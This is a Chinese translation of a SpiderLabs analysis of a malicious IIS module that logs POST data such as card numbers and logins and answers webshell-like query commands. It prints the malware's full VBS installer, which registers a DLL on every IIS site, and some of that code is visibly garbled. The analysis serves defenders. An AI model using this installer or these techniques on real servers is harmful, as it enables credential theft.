惡意軟件偽裝成IIS模塊加載 多數(shù)防毒產(chǎn)品免殺
1、摘要
最近,國外安全公司發(fā)現(xiàn)了一些以DLL動態(tài)鏈接庫形式存在的IIS模塊存在惡意風(fēng)險,這些惡意模塊之所以受關(guān)注,很大原因是因?yàn)樗鼈兡芏氵^目前幾乎所有的反病毒產(chǎn)品,攻擊者借助這些模塊發(fā)送惡意POST數(shù)據(jù)包,并遵循恰當(dāng)?shù)臋C(jī)制以此來獲得敏感信息。
這種惡意程序的目標(biāo)不僅僅局限于銀行、電子商務(wù)網(wǎng)站的加密數(shù)據(jù),同時還被用來獲取例如登錄賬戶及其他被發(fā)送到IIS實(shí)例上的數(shù)據(jù)(HTTP Header、MS-Chap令牌等)。同時要注意的是,這次發(fā)現(xiàn)的惡意軟件漏洞和之前報告的惡意軟件"Pony"沒有任何關(guān)系。Pony主要針對的是終端用戶,而這個IIS Module惡意程序主要是針對Web Server的。以下為報告譯文:
下面是這次發(fā)現(xiàn)的惡意程序在各大反病毒引擎上的檢查結(jié)果:
https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/
事實(shí)證明,我所引用的這個DLL是一個IIS的原生安裝模塊,我想也該是時候?qū)@種惡意程序進(jìn)行一個總結(jié)了,之所以這么做,有以下2個原因:
a)在我寫這篇文章的時候,大部分的反病毒軟件都不會IIS目錄下的DLL模塊進(jìn)行必要的檢查(通過設(shè)置白名單等),這導(dǎo)致了IIS的重要模塊被替換后無法被殺毒軟件捕獲到異常。雖然病毒的安裝程序(用于進(jìn)行替換工作的程序)也只是被少數(shù)的反病毒軟件檢測出異常,因?yàn)檫@些檢測出異常的殺毒引擎大多數(shù)采取了"啟發(fā)式掃描";
b)我覺得這個惡意代碼非常的精巧。
2、介紹
讓我們先看一下這個病毒的安裝程序。程序允許帶許多參數(shù)變量以適應(yīng)不同的環(huán)境:
-path : [惡意程序?qū)⒈话惭b的路徑] -i : [目標(biāo)URL地址, 例如 "/sensitive.aspx" -u : [卸載惡意程序] -is632 : [IIS6 32-Bit] -is664 : [IIS6 64-Bit]

事實(shí)上,安裝程序非常簡單。它包含有四個內(nèi)嵌的式DLL文件(在PE結(jié)構(gòu)的資源節(jié)區(qū)中),在安裝的時候根據(jù)目標(biāo)系統(tǒng)的版本進(jìn)行動態(tài)選擇:
IIS6 + 32-Bit IIS6 + 64-Bit IIS7 + 32-Bit IIS7 + 64-Bit
此外,這個ISN惡意程序也有一個VBS文件被嵌入到了PE的資源節(jié)區(qū)中(文件的內(nèi)容請參考引用部分),這個VBS腳本文件用于安裝或者卸載用于替換IIS模塊的惡意DLL文件(即上面說到那4個DLL文件)。
一旦運(yùn)行,ISN.exe將執(zhí)行以下操作:
1. 將根據(jù)我們"-path"指定的位置,或者當(dāng)前的工作目錄。把VBS復(fù)制到這個路徑下,為后面的安裝做準(zhǔn)備,這個VBS文件將在安裝完成刪除,不會留下痕跡。 2. 創(chuàng)建一個配置文件([文件].cfg)在同一個目錄中。這個文件包含一個列表。 3. 惡意程序的目標(biāo)URL列表。 4. 檢查IIS版本以及攻擊目標(biāo)的操作系統(tǒng)架構(gòu)。 5. 提取相應(yīng)的DLL到安裝目錄(從PE的資源節(jié)區(qū)中)。 6. 調(diào)用VBS文件文件將惡意的DLL模塊安裝為IIS的模塊。(IIS只是通過DLL的文件名進(jìn)行動態(tài)加載,即使這是一個惡意程序,DLL簽名技術(shù)在這里并不能起到防御作用)。
解壓運(yùn)行后的情況如下圖:
在安裝的過程中會產(chǎn)生一些日志信息,這些信息有助于我們判斷安裝是否成功以及失敗的原因:
一旦成功安裝的模塊,它將監(jiān)控在配置文件(isn.cfg)中指定的uri和dump(記錄)任何捕獲到的POST請求,將這些信息記錄到[fileName].log中。該模塊還將監(jiān)控QUERY_STRING參數(shù)(IIS中的GPC參數(shù),相當(dāng)于PHP中的$_REQUEST),并可以接受一些攻擊者發(fā)送的命令(就像一個webshell一樣)。我編寫了一個簡單的IIS實(shí)例來演示這個過程如何發(fā)生。
3. 演示
如下我們可以看到,我已經(jīng)創(chuàng)建了一個簡單的web表單,將模擬一個實(shí)際的電子商務(wù)網(wǎng)站。用戶輸入他們的名字和信用卡號碼和提交信息,然后腳本"/buy.aspx"返回用戶輸入的數(shù)據(jù)。
在本次演示中,我設(shè)置一個自簽名證書(self-signed certificate ),這樣所有的HTTP交互都通過SSL通信。
現(xiàn)在,所有的正常的HTTP業(yè)務(wù)通信都先和我們的惡意程序進(jìn)行了交互,這里要注意的,我們必須在配置文件中明確指明我們要"跟蹤"的腳本文件(例如,buy.aspx)。這樣,當(dāng)指定的.aspx腳本產(chǎn)生HTTP通信時,ISN.EXE會自動對捕獲到的數(shù)據(jù)進(jìn)行記錄
我前面提到的,這個惡意程序可以像webshell那樣工作,原因是因?yàn)樗瑫r監(jiān)測QUERY_STRING參數(shù)并對其中包含的"特征字符串"進(jìn)行匹配檢索。具體地說,它將尋找以下命令:
1. isn_getlog——的內(nèi)容并返回。日志文件 2. isn_logdel——刪除并。日志文件 3. isn_logpath——返回的路徑并。日志文件
這些命令可以簡單地通過提供GET參數(shù)進(jìn)行遠(yuǎn)程發(fā)送。
"isn_getlog" example:
"isn_logdel" example:
"isn_logpath" example:
4. 總結(jié)
總的來說,這個惡意軟件似乎沒有廣泛傳播,只有在一些個人的案例中出現(xiàn)。然而,極低的檢出率與惡意軟件的目標(biāo)功能的結(jié)合使這中惡意程序成為一個非?,F(xiàn)實(shí)的威脅。
Trustwave WebDefend和ModSecurity可用于在"感染路徑"的起點(diǎn)阻止這個惡意程序,它們可以檢測是否敏感的用戶數(shù)據(jù),如信用卡號碼出現(xiàn)在出站數(shù)據(jù)中(outbound data)。ModSecurity的鏈?zhǔn)竭^濾規(guī)則可以很好的對付這個問題,保證數(shù)據(jù)從入站到出站每一個環(huán)節(jié)的安全。
5. 引用
isn.exe http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm HASP.EXE http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339 installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/ VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/ IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/ IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/ IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/ IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/ Content of VBS File – https://gist.github.com/jgrunzweig/7840987
- OPTION EXPLICIT
- DIM CRLF, TAB
- DIM strServer
- DIM objWebService
- DIM WebSvcObj
- dim webID
- dim DllName
- dim strScriptMap
- dim objVDir
- dim arrScriptMaps
- dim arrScriptMapsTmp
- dim ISAPIlist
- dim bAdd
- dim bRemove
- dim i
- dim j
- dim cc
- TAB = CHR( 9 )
- CRLF = CHR( 13 ) & CHR( 10 )
- ISAPIlist = 0
- bAdd = 0
- bRemove = 0
- cc = 0
- If Wscript.Arguments.Count < 2 Then
- If Wscript.Arguments.Count = 0 Then
- Wscript.Echo "cscript isn.vbs /add <Path\FileName> - add to all web sites"
- Wscript.Echo "cscript isn.vbs /remove <FileName> - remove from all web sites"
- Wscript.Echo "cscript isn.vbs /isapilist <ID> - list ISAPI for web site <ID>"
- Wscript.Echo "cscript isn.vbs /weblist - list web sites"
- Wscript.Echo "Example:"
- Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll"
- Wscript.Echo "cscript isn.vbs /remove isn.dll"
- Wscript.Quit
- Else
- If Wscript.Arguments(0)="/weblist" Then
- 'list web sites id and names
- SET objWebService = GetObject( "IIS://localhost/W3SVC" )
- EnumWebsites(objWebService)
- Wscript.Quit
- Else
- Wscript.Echo "wrong param"
- Wscript.Quit
- End If
- End If
- Else
- If Wscript.Arguments(0)="/isapilist" Then
- webID = Wscript.Arguments(1)
- ISAPIlist = 1
- ElseIf Wscript.Arguments(0)="/add" Then
- bAdd = 1
- DllName = Wscript.Arguments(1)
- ElseIf Wscript.Arguments(0)="/remove" Then
- bRemove = 1
- DllName = Wscript.Arguments(1)
- End If
- End If
- If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then
- Wscript.Echo "Wrong params!"
- Wscript.Quit
- End If
- If bAdd=1 Then
- SET objWebService = GetObject( "IIS://localhost/W3SVC" )
- strScriptMap = "*,"+DllName+",4,All"
- AddToWebsites(objWebService)
- Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
- WebSvcObj.EnableExtensionFile("*.dll")
- WebSvcObj.SetInfo
- End If
- If bRemove=1 Then
- SET objWebService = GetObject( "IIS://localhost/W3SVC" )
- RemoveFromWebsites(objWebService)
- Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
- WebSvcObj.DisableExtensionFile("*.dll")
- WebSvcObj.SetInfo
- Wscript.Echo DllName + " deleted"
- End If
- If ISAPIlist=1 Then
- Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root")
- arrScriptMaps = objVDir.Get("ScriptMaps")
- For i = LBound(arrScriptMaps) to UBound(arrScriptMaps)
- Wscript.Echo arrScriptMaps(i)
- Next
- Wscript.Quit
- End If
- FUNCTION AddToWebsites( objWebService )
- DIM objWebServer, strBindings
- FOR EACH objWebServer IN objWebService
- IF objWebserver.Class = "IIsWebServer" THEN
- Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
- arrScriptMaps = objVDir.Get("ScriptMaps")
- arrScriptMapsarrScriptMapsTmp = arrScriptMaps
- ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1)
- j = LBound(arrScriptMaps)
- arrScriptMaps(j) = strScriptMap
- j = 0
- For i = 1 to UBound(arrScriptMaps)
- arrScriptMaps(i)=arrScriptMapsTmp(j)
- jj = j+1
- Next
- objVDir.Put "ScriptMaps", arrScriptMaps
- objVDir.SetInfo
- Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!"
- END IF
- NEXT
- END FUNCTION
- FUNCTION RemoveFromWebsites( objWebService )
- DIM objWebServer, strBindings
- FOR EACH objWebServer IN objWebService
- IF objWebserver.Class = "IIsWebServer" THEN
- Do
- Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
- arrScriptMaps = objVDir.Get("ScriptMaps")
- arrScriptMapsarrScriptMapsTmp = arrScriptMaps
- cc=0
- For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
- If InStr(arrScriptMapsTmp(i), DllName)>0 then
- arrScriptMapsTmp(i) = ""
- cccc=cc+1
- Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete"
- 'exit for 'exit loop
- End If
- Next
- If cc=0 Then
- Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found"
- Exit Do
- End If
- ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc)
- j = LBound(arrScriptMapsTmp)
- for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
- If arrScriptMapsTmp(i)<>"" Then
- arrScriptMaps(j)=arrScriptMapsTmp(i)
- jj = j+1
- End If
- Next
- objVDir.Put "ScriptMaps", arrScriptMaps
- objVDir.SetInfo
- Exit Do
- Loop While False
- END IF
- NEXT
- END FUNCTION
- FUNCTION EnumWebsites( objWebService )
- DIM objWebServer, strBindings
- FOR EACH objWebServer IN objWebService
- IF objWebserver.Class = "IIsWebServer" THEN
- WScript.Echo _
- "Site ID = " & objWebserver.Name & CRLF & _
- "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _
- "State = " & State2Desc( objWebserver.ServerState ) '& CRLF & _
- '"LogDir = " & objWebServer.LogFileDirectory & _
- '""
- ' Enumerate the HTTP bindings (ServerBindings) and
- ' SSL bindings (SecureBindings)
- 'strBindings = EnumBindings( objWebServer.ServerBindings ) & _
- ' EnumBindings( objWebServer.SecureBindings )
- 'IF NOT strBindings = "" THEN
- ' WScript.Echo "IP Address" & TAB & _
- ' "Port" & TAB & _
- ' "Host" & CRLF & _
- ' strBindings
- 'END IF
- END IF
- NEXT
- END FUNCTION
- FUNCTION EnumBindings( objBindingList )
- DIM i, strIP, strPort, strHost
- DIM reBinding, reMatch, reMatches
- SET reBinding = NEW RegExp
- reBinding.Pattern = "([^:]*):([^:]*):(.*)"
- FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList )
- ' objBindingList( i ) is a string looking like IP:Port:Host
- SET reMatches = reBinding.Execute( objBindingList( i ) )
- FOR EACH reMatch IN reMatches
- strIP = reMatch.SubMatches( 0 )
- strPort = reMatch.SubMatches( 1 )
- strHost = reMatch.SubMatches( 2 )
- ' Do some pretty processing
- IF strIP = "" THEN strIP = "All Unassigned"
- IF strHost = "" THEN strHost = "*"
- IF LEN( strIP ) < 8 THEN strIPstrIP = strIP & TAB
- EnumBindingsEnumBindings = EnumBindings & _
- strIP & TAB & _
- strPort & TAB & _
- strHost & TAB & _
- ""
- NEXT
- EnumBindingsEnumBindings = EnumBindings & CRLF
- NEXT
- END FUNCTION
- FUNCTION State2Desc( nState )
- SELECT CASE nState
- CASE 1
- State2Desc = "Starting (MD_SERVER_STATE_STARTING)"
- CASE 2
- State2Desc = "Started (MD_SERVER_STATE_STARTED)"
- CASE 3
- State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)"
- CASE 4
- State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)"
- CASE 5
- State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)"
- CASE 6
- State2Desc = "Paused (MD_SERVER_STATE_PAUSED)"
- CASE 7
- State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)"
- CASE ELSE
- State2Desc = "Unknown state"
- END SELECT
- END FUNCTION
- The Curious Case of the Malicious IIS Module
- Reference From: http://blog.spiderlabs.com/2013/12/the-curious-case-of-the-malicious-iis-module.html
- Translated By: LittleHann